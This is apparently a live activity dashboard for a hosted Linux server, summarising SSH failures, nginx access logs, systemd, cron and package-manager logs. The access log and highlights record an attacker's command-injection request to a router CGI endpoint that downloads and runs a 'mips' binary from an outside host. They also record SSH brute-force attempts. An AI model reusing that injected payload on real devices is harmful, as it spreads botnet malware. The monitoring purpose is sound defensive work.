Server Activity Dashboard

srv1675884.hstgr.cloud · live snapshot of recent server activity

Updated 2026-08-03T08:00:18.805463+00:00
Window starts 2026-08-02T20:00:18.805436+00:00

Uptime

up 11 weeks, 1 day, 22 hours, 47 minutes

Load

1.15 1.14 1.10

Memory

1.9Gi used / 3.8Gi total

Disk /

22G used / 49G total (46% used)

Kernel

6.12.0-124.52.3.el10_1.x86_64

Failed SSH logins

Security

SSH activity

Failed logins: 5

Top IPs

34.78.35.91 · 3 hits
34.156.44.197 · 1 hits

Recent auth events

Aug 3 02:11:24 srv1675884 sshd-session[94241]: Invalid user admin from 34.78.35.91 port 16358
Aug 3 02:11:25 srv1675884 sshd-session[94241]: pam_unix(sshd:auth): check pass; user unknown
Aug 3 02:11:25 srv1675884 sshd-session[94241]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=34.78.35.91
Aug 3 02:11:27 srv1675884 sshd-session[94241]: Failed password for invalid user admin from 34.78.35.91 port 16358 ssh2
Aug 3 02:13:11 srv1675884 sshd-session[94313]: Invalid user dfkrj from 34.156.44.197 port 19480

Web

HTTP status mix

200: 75301: 1400: 3404: 4405: 4

Top IPs

172.98.33.150 · 44 hits
216.73.217.65 · 6 hits
71.6.239.248 · 5 hits
172.98.33.167 · 4 hits
206.189.119.12 · 2 hits

Recent access highlights

34.38.225.121 - - [03/Aug/2026:02:10:39 +0000] "GET / HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-"
91.231.89.68 - - [03/Aug/2026:05:10:16 +0000] "\x16\x03\x03\x02`\x01\x00\x02\x5C\x03\x03\xF8\xD3\xFC\xA3\xF1\xFFD\xE7\xEC84(\xDE\xBB\xB2v=O'/\xBB$\xBEar\xE2\x22bD\xC9E5 og\x0E\x171\x00=\x07\xB4\xA49\x06\xB7\xEB\xCA\xF8\xD1;w H2\x90\xAD(\xFD\xAD\x7F\x00\xF0v\xD0\x00\x8A\x00\x16\x003\x00g\xC0\x9E\xC0\xA2\x00\x9E\x009\x00k\xC0\x9F\xC0\xA3\x00\x9F\x00E\x00\xBE\x00\x88\x00\xC4\x00\x9A\xC0\x08\xC0\x09\xC0#\xC0\xAC\xC0\xAE\xC0+\xC0" 400 157 "-" "-" "-"
71.6.239.248 - - [03/Aug/2026:05:11:21 +0000] "GET / HTTP/1.1" 404 153 "-" "RootEvidence/1.0" "-"
71.6.239.248 - - [03/Aug/2026:05:11:24 +0000] "\x16\x03\x01\x05\xFC\x01\x00\x05\xF8\x03\x03\x90\xEB@\xAFT\xA1k_+\xDA\x08\xEC:\x97\x80\xE9\x89r\xFF[\xF7\x8B\xDA+<\x15~\x0E(6\xA6\x10 \xA4W\x93\xA6\x1A\xF7\x9E\xDC\xDC\xE6\xBDI\x1F\x1Eb\x17-w\x85\xDC)\xA8\xA8H\xDA\xCB4S\xBEP\x9D\xDD\x002\xCC\xA9\xCC\xA8\xC0+\xC0/\xC0,\xC00\xC0\x09\xC0\x13\xC0" 400 157 "-" "-" "-"
87.120.166.170 - - [03/Aug/2026:05:18:54 +0000] "GET /cgi-bin/cstecgi.cgi?setUPnPCfg=1&enable=;cd+%2Fbin+%26%26+wget+http%3A%2F%2F87.120.166.170%2Fmips+%26%26+chmod+777+mips+%26%26+.%2Fmips+toto; HTTP/1.1" 404 153 "-" "Mozilla/5.0" "-"
87.120.166.170 - - [03/Aug/2026:05:18:54 +0000] "GET /cgi-bin/cstecgi.cgi?setUPnPCfg=1&enable=;cd+%2Fbin+%26%26+wget+http%3A%2F%2F87.120.166.170%2Fmips+%26%26+chmod+777+mips+%26%26+.%2Fmips+toto; HTTP/1.1" 404 153 "-" "Mozilla/5.0" "-"
54.78.112.253 - - [03/Aug/2026:06:20:28 +0000] "HEAD / HTTP/1.1" 404 0 "https://www.netcraft.com/survey/" "Mozilla/4.0 (compatible; Netcraft Web Server Survey)" "-"
45.154.155.21 - - [03/Aug/2026:07:44:34 +0000] "GET / HTTP/1.1" 400 657 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" "-"

System

Recent service / journal activity

Aug 3 08:00:10 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Aug 3 08:00:10 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
Aug 3 08:00:13 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 1655795.
Aug 3 08:00:13 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
Aug 3 08:00:13 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Aug 3 08:00:13 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
Aug 3 08:00:16 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 1655796.
Aug 3 08:00:16 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
Aug 3 08:00:16 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Aug 3 08:00:16 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.

Maintenance

Cron

Aug 3 06:01:01 srv1675884 CROND[103183]: (root) CMD (run-parts /etc/cron.hourly)
Aug 3 06:01:01 srv1675884 run-parts[103186]: (/etc/cron.hourly) starting 0anacron
Aug 3 06:01:02 srv1675884 run-parts[103192]: (/etc/cron.hourly) finished 0anacron
Aug 3 06:01:02 srv1675884 CROND[103182]: (root) CMDEND (run-parts /etc/cron.hourly)
Aug 3 07:01:01 srv1675884 CROND[105479]: (root) CMD (run-parts /etc/cron.hourly)
Aug 3 07:01:01 srv1675884 run-parts[105482]: (/etc/cron.hourly) starting 0anacron
Aug 3 07:01:01 srv1675884 run-parts[105488]: (/etc/cron.hourly) finished 0anacron
Aug 3 07:01:01 srv1675884 CROND[105478]: (root) CMDEND (run-parts /etc/cron.hourly)

Package manager

2026-08-03T05:46:31+0000 DEBUG crb: using metadata from Sun 02 Aug 2026 08:19:28 AM UTC.
2026-08-03T05:46:32+0000 DEBUG reviving: 'extras' can be revived - repomd matches.
2026-08-03T05:46:32+0000 DEBUG extras: using metadata from Sun 02 Aug 2026 08:19:21 AM UTC.
2026-08-03T05:46:33+0000 DEBUG reviving: failed for 'epel', mismatched sha256 sum.
2026-08-03T05:46:42+0000 DEBUG epel: using metadata from Sun 02 Aug 2026 12:43:04 AM UTC.
2026-08-03T05:46:44+0000 INFO Metadata cache created.
2026-08-03T07:29:46+0000 INFO --- logging initialized ---
2026-08-03T07:29:47+0000 INFO Metadata cache refreshed recently.

Highlights

Web 87.120.166.170 - - [03/Aug/2026:05:18:54 +0000] "GET /cgi-bin/cstecgi.cgi?setUPnPCfg=1&enable=;cd+%2Fbin+%26%26+wget+http%3A%2F%2F87.120.166.170%2Fmips+%26%26+chmod+777+mips+%26%26+.%2Fmips+toto; HTTP/1.1" 404 153 "-" "Mozilla/5.0" "-"
Web 87.120.166.170 - - [03/Aug/2026:05:18:54 +0000] "GET /cgi-bin/cstecgi.cgi?setUPnPCfg=1&enable=;cd+%2Fbin+%26%26+wget+http%3A%2F%2F87.120.166.170%2Fmips+%26%26+chmod+777+mips+%26%26+.%2Fmips+toto; HTTP/1.1" 404 153 "-" "Mozilla/5.0" "-"
Web 54.78.112.253 - - [03/Aug/2026:06:20:28 +0000] "HEAD / HTTP/1.1" 404 0 "https://www.netcraft.com/survey/" "Mozilla/4.0 (compatible; Netcraft Web Server Survey)" "-"
Web 45.154.155.21 - - [03/Aug/2026:07:44:34 +0000] "GET / HTTP/1.1" 400 657 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" "-"
Cron Aug 3 06:01:01 srv1675884 CROND[103183]: (root) CMD (run-parts /etc/cron.hourly)
Cron Aug 3 06:01:01 srv1675884 run-parts[103186]: (/etc/cron.hourly) starting 0anacron
Cron Aug 3 06:01:02 srv1675884 run-parts[103192]: (/etc/cron.hourly) finished 0anacron
Cron Aug 3 06:01:02 srv1675884 CROND[103182]: (root) CMDEND (run-parts /etc/cron.hourly)
Cron Aug 3 07:01:01 srv1675884 CROND[105479]: (root) CMD (run-parts /etc/cron.hourly)
Cron Aug 3 07:01:01 srv1675884 run-parts[105482]: (/etc/cron.hourly) starting 0anacron
Cron Aug 3 07:01:01 srv1675884 run-parts[105488]: (/etc/cron.hourly) finished 0anacron
Cron Aug 3 07:01:01 srv1675884 CROND[105478]: (root) CMDEND (run-parts /etc/cron.hourly)
Packages 2026-08-03T05:46:31+0000 DEBUG crb: using metadata from Sun 02 Aug 2026 08:19:28 AM UTC.
Packages 2026-08-03T05:46:32+0000 DEBUG reviving: 'extras' can be revived - repomd matches.
Packages 2026-08-03T05:46:32+0000 DEBUG extras: using metadata from Sun 02 Aug 2026 08:19:21 AM UTC.
Packages 2026-08-03T05:46:33+0000 DEBUG reviving: failed for 'epel', mismatched sha256 sum.
Packages 2026-08-03T05:46:42+0000 DEBUG epel: using metadata from Sun 02 Aug 2026 12:43:04 AM UTC.
Packages 2026-08-03T05:46:44+0000 INFO Metadata cache created.
Packages 2026-08-03T07:29:46+0000 INFO --- logging initialized ---
Packages 2026-08-03T07:29:47+0000 INFO Metadata cache refreshed recently.

Data sources: /var/log/cron, /var/log/secure, /var/log/messages, /var/log/nginx/access.log, /var/log/dnf.log.